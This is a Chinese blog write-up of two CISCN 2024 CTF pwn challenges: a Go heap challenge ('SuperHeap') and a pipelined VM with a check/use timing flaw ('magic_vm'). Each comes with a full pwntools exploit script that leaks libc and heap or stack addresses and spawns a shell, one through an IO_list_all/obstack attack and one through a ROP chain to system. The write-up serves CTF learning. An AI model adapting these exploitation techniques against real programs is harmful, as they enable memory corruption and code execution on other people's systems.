CISCN2024 初赛复现

第一天AK,第二天拉跨.

SuperHeap

如果先看看这题说不定就出了

评价为输入协议为Base64+protobuf+Base32的golang pwn. IDA8.3直接爽逆.
edit有裸的堆溢出,配合Book的管理结构就有任意读写了.打IO即可.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
def add(idx,title,author,isbn,publish,price,stock):
msg = pb.CTFBook()
io.sendlineafter('choice >','1')
io.sendlineafter('Index:',str(idx))
msg.title = base64.b64encode(title).decode()
msg.author = base64.b64encode(author).decode()
msg.isbn = base64.b64encode(isbn).decode()
msg.publish_date = base64.b64encode(publish).decode()
msg.price = price
msg.stock = stock
io.sendlineafter('Data:',base64.b32encode(msg.SerializeToString()))

def edit(idx,title,author,isbn,publish,price,stock):
msg = pb.CTFBook()
io.sendlineafter('choice >','4')
io.sendlineafter('Index:',str(idx))
msg.title = base64.b64encode(title).decode()
msg.author = base64.b64encode(author).decode()
msg.isbn = base64.b64encode(isbn).decode()
msg.publish_date = base64.b64encode(publish).decode()
msg.price = price
msg.stock = stock
io.sendlineafter('Data:',base64.b32encode(msg.SerializeToString()))

def show(idx):
io.sendlineafter('choice >','2')
io.sendlineafter('Index:',str(idx))

def delete(idx):
io.sendlineafter('choice >','3')
io.sendlineafter('Index:',str(idx))

cmd = '''
set resolve-heap-via-heuristic on
libc
breakrva 0x20c796
'''

add(0,b'a'*0x410,b'HanQi',b'a',b'a',0,0)
add(1,b'a'*0x410,b'HanQi',b'a',b'a',0,0)
delete(0)
add(0,b'a',b'HanQi',b'a',b'',0,0)
add(2,b'',b'HanQi',b'a',b'a',0,0)
show(0)
io.recvuntil('Date: ')
heap_base = (u64(io.recv(5).ljust(8,b'\x00')) << 12) -0x2000
lg("heap_base",heap_base)

show(2)
io.recvuntil('Title: ')
p.leak_libc('libc_base',p.recvaddress()-0x21acf0)


fake_io_addr = heap_base+0x2e90
payload = flat(['a'*0x180,p.io_list_all])
edit(2,b"a",b"a",b"a",payload,0,0)
show(1)
edit(1,p64(fake_io_addr),p.obstack_attack(fake_io_addr),b"a",b'a',0,0)


io.sendlineafter('choice >','6')
p.recvflag()

io.interactive()

magic_vm

流水线的指令处理形式.每一轮的操作有三个阶段: 取指,译码与执行,访存与写回.

为了能以流水线的方式执行指令,alu中拥有独立的vm_id及vm_mem的缓存.每一轮的取指阶段会将指令加载到vm->id的状态,译码状态却是根据alu->id进行解析,然后执行更新alu->mem与alu->id. 最后访存及写回操作是根据vm->mem来完成.
在下一轮的开始,会有两次同步操作.

  1. 将vm->id同步到alu->id,也就是将上一轮的指令加载到alu->id中.
  2. 将alu->mem同步到vm->mem,将访存指令加载到vm->mem中.

来看一下一条访存指令的执行过程.
其中,在取指时会检查访存指令的偏移是否合法.在译码与执行阶段会将访存的destination地址确定下来,写回与访存阶段正式完成写入.
(比赛时就是这里逆错了,误以为取指,译码与执行在同一轮完成)

vm_id::run(取指) vm_alu::run(译码与执行) vm_alu::run(写回与访存)
Round 1 mov [mem3000+reg0],reg1 (Check)
Round 2 mov [mem3000+reg0],reg1 (Use)
Round 3 mov [mem3000+reg0],reg1

可以发现,对偏移(reg0)的Check和Use不在同一轮中,于是判断这里可能会出现一个TOCTOU问题.
构造如下指令执行:

vm_id::run(取指) vm_alu::run(译码与执行) vm_alu::run(写回与访存)
Round 1 mov reg0,0xDEADBEAF
Round 2 mov [mem3000+reg0],reg1 (Check) mov reg0,0xDEADBEAF
Round 3 mov [mem3000+reg0],reg1 (Use) mov reg0,0xDEADBEAF (Modify)
Round 4 mov [mem3000+reg0],reg1

发现执行顺序是Check,Use,Modify,没有问题.那么要构造出Check,Modify,Use的情形,只需将访存指令延后一轮.
这样就完成了任意偏移读写.

vm_id::run(取指) vm_alu::run(译码与执行) vm_alu::run(写回与访存)
Round 1 mov reg0,0xDEADBEAF
Round 2 mov reg0,0xDEADBEAF
Round 3 mov [mem3000+reg0],reg1 (Check) mov reg0,0xDEADBEAF (Modify)
Round 4 mov [mem3000+reg0],reg1 (Use)
Round 5 mov [mem3000+reg0],reg1

获取我们要的所有地址信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
mov_reg_imm(0,0x224680)
nop()
mov_reg_mem(0,1) #reg1 = _IO_2_1_stdout_
nop()
nop()
mov_reg_imm(0,0) #reg0 = 0
nop()
nop()


sub_reg_imm(1,0x21b6a0) #reg1 = libc_base
nop()
nop()


mov_reg_imm(0,0x22b200)
nop()
mov_reg_mem(0,2) #reg2 = *environ
nop()
nop()
mov_reg_imm(0,0) #reg0 = 0
nop()
nop()

sub_reg_imm(2,0x130) #reg2 = retaddr
nop()
nop()

接下来根据偏移在栈上写ROP即可.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143

code = b''

#0b10 reg
#0b11 [mem+reg]
#0b01 imm

def coding(op,address_mode,src1,src2,val=None):
global code
payload = p8(op) + p8(address_mode) + p8(src1)
if val != None:
payload += p64(val)
else:
payload += p8(src2)

code += payload


def mov_reg_imm(reg,val):
return coding(5,0b0110,reg,0,val)

def mov_mem_reg(memreg,reg):
return coding(5,0b1011,memreg,reg)

def mov_reg_mem(memreg,reg):
return coding(5,0b1110,reg,memreg)

def mov_reg_reg(reg1,reg2):
return coding(5,0b1010,reg1,reg2)

def sub_reg_imm(reg,val):
return coding(2,0b0110,reg,0,val)

def sub_reg_reg(reg1,reg2):
return coding(2,0b1010,reg1,reg2)

def add_reg_imm(reg,val):
return coding(1,0b0110,reg,0,val)

def nop():
global code
code += p8(11)

def write_reg3_to_stack():
mov_reg_reg(0,2)
nop()
mov_mem_reg(0,3)
nop()
nop()
mov_reg_imm(0,0) #reg0 = 0
nop()
nop()
add_reg_imm(2,8)
nop()
nop()


# 获取地址信息

mov_reg_imm(0,0x224680)
nop()
mov_reg_mem(0,1) #reg1 = _IO_2_1_stdout_
nop()
nop()
mov_reg_imm(0,0) #reg0 = 0
nop()
nop()


sub_reg_imm(1,0x21b6a0) #reg1 = libc_base
nop()
nop()


mov_reg_imm(0,0x22b200)
nop()
mov_reg_mem(0,2) #reg2 = *environ
nop()
nop()
mov_reg_imm(0,0) #reg0 = 0
nop()
nop()

sub_reg_imm(2,0x130) #reg2 = retaddr
nop()
nop()



mov_reg_reg(3,1) #reg3 = libc_base
nop()
nop()

sub_reg_imm(3,0x9000) #reg3 = mem
nop()
nop()


sub_reg_reg(2,3) #reg2 = retaddr-mem
nop()
nop()


# 布置ROP链

mov_reg_reg(3,1) #reg3 = libc_base
nop()
nop()
add_reg_imm(3,0x2a3e6) #reg3 = ret
nop()
nop()
write_reg3_to_stack()

mov_reg_reg(3,1) #reg3 = libc_base
nop()
nop()
add_reg_imm(3,0x2a3e5) #reg3 = pop_rdi
nop()
nop()
write_reg3_to_stack()


mov_reg_reg(3,1) #reg3 = libc_base
nop()
nop()
add_reg_imm(3,0x1d8678) #reg3 = binsh
nop()
nop()
write_reg3_to_stack()

mov_reg_reg(3,1) #reg3 = libc_base
nop()
nop()
add_reg_imm(3,0x50d70) #reg3 = system
nop()
nop()
write_reg3_to_stack()


io.send(code)

io.interactive()

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2025 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信